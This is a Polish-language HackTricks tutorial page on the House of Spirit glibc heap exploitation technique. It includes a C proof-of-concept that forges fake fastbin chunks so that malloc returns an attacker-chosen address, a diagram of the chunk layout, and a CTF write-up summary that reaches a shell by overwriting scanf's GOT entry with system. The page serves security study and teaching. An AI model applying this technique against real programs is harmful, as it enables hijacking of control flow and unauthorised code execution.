mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-30 08:30:57 +00:00
134 lines
6.4 KiB
Markdown
134 lines
6.4 KiB
Markdown
# Dom Ducha
|
|
|
|
<details>
|
|
|
|
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Inne sposoby wsparcia HackTricks:
|
|
|
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
|
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
|
|
## Podstawowe informacje
|
|
|
|
### Kod
|
|
|
|
<details>
|
|
|
|
<summary>Dom Ducha</summary>
|
|
```c
|
|
#include <unistd.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <stdio.h>
|
|
|
|
// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
|
|
|
|
struct fast_chunk {
|
|
size_t prev_size;
|
|
size_t size;
|
|
struct fast_chunk *fd;
|
|
struct fast_chunk *bk;
|
|
char buf[0x20]; // chunk falls in fastbin size range
|
|
};
|
|
|
|
int main() {
|
|
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
|
|
void *ptr, *victim;
|
|
|
|
ptr = malloc(0x30);
|
|
|
|
printf("Original alloc address: %p\n", ptr);
|
|
printf("Main fake chunk:%p\n", &fake_chunks[0]);
|
|
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
|
|
|
|
// Passes size check of "free(): invalid size"
|
|
fake_chunks[0].size = sizeof(struct fast_chunk);
|
|
|
|
// Passes "free(): invalid next size (fast)"
|
|
fake_chunks[1].size = sizeof(struct fast_chunk);
|
|
|
|
// Attacker overwrites a pointer that is about to be 'freed'
|
|
// Point to .fd as it's the start of the content of the chunk
|
|
ptr = (void *)&fake_chunks[0].fd;
|
|
|
|
free(ptr);
|
|
|
|
victim = malloc(0x30);
|
|
printf("Victim: %p\n", victim);
|
|
|
|
return 0;
|
|
}
|
|
```
|
|
</details>
|
|
|
|
### Cel
|
|
|
|
* Być w stanie dodać adres do tcache / fast bin, aby później można go było zaalokować
|
|
|
|
### Wymagania
|
|
|
|
* Ten atak wymaga, aby atakujący mógł stworzyć kilka fałszywych szybkich kawałków wskazujących poprawnie wartość ich rozmiaru, a następnie zwolnić pierwszy fałszywy kawałek, aby trafił do pojemnika.
|
|
|
|
### Atak
|
|
|
|
* Stwórz fałszywe kawałki omijające kontrole bezpieczeństwa: będziesz potrzebował 2 fałszywych kawałków, wskazujących w odpowiednich pozycjach poprawne rozmiary
|
|
* W jakiś sposób zwolnij pierwszy fałszywy kawałek, aby trafił do pojemnika fast lub tcache, a następnie zaalokuj go, aby nadpisać ten adres
|
|
|
|
**Kod od** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **jest świetny do zrozumienia ataku.** Chociaż ten schemat z kodu dobrze go podsumowuje:
|
|
```c
|
|
/*
|
|
this will be the structure of our two fake chunks:
|
|
assuming that you compiled it for x64
|
|
|
|
+-------+---------------------+------+
|
|
| 0x00: | Chunk # 0 prev size | 0x00 |
|
|
+-------+---------------------+------+
|
|
| 0x08: | Chunk # 0 size | 0x60 |
|
|
+-------+---------------------+------+
|
|
| 0x10: | Chunk # 0 content | 0x00 |
|
|
+-------+---------------------+------+
|
|
| 0x60: | Chunk # 1 prev size | 0x00 |
|
|
+-------+---------------------+------+
|
|
| 0x68: | Chunk # 1 size | 0x40 |
|
|
+-------+---------------------+------+
|
|
| 0x70: | Chunk # 1 content | 0x00 |
|
|
+-------+---------------------+------+
|
|
|
|
for what we are doing the prev size values don't matter too much
|
|
the important thing is the size values of the heap headers for our fake chunks
|
|
*/
|
|
```
|
|
{% hint style="info" %}
|
|
Zauważ, że konieczne jest utworzenie drugiego fragmentu w celu ominięcia pewnych kontroli poprawności.
|
|
{% endhint %}
|
|
|
|
## Przykłady
|
|
|
|
* CTF [https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html](https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html)
|
|
* **Libc infoleak**: Poprzez przepełnienie można zmienić wskaźnik tak, aby wskazywał na adres GOT, aby wyciec adres libc poprzez akcję odczytu CTF
|
|
* **House of Spirit**: Nadużywając licznika, który liczy liczbę "karabinów", można wygenerować fałszywy rozmiar pierwszego fałszywego fragmentu, a następnie nadużywając "wiadomości" można sfałszować drugi rozmiar fragmentu i w końcu nadużywając przepełnienia można zmienić wskaźnik, który zostanie zwolniony, więc nasz pierwszy fałszywy fragment zostanie zwolniony. Następnie możemy go przydzielić i wewnątrz niego będzie adres, pod którym przechowywana jest "wiadomość". Następnie można sprawić, aby wskazywała ona na wpis `scanf` w tabeli GOT, dzięki czemu możemy go nadpisać adresem do systemu.\
|
|
Następnym razem, gdy zostanie wywołane `scanf`, możemy wysłać wejście `"/bin/sh"` i uzyskać dostęp do powłoki.
|
|
|
|
## Odnośniki
|
|
|
|
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Inne sposoby wsparcia HackTricks:
|
|
|
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|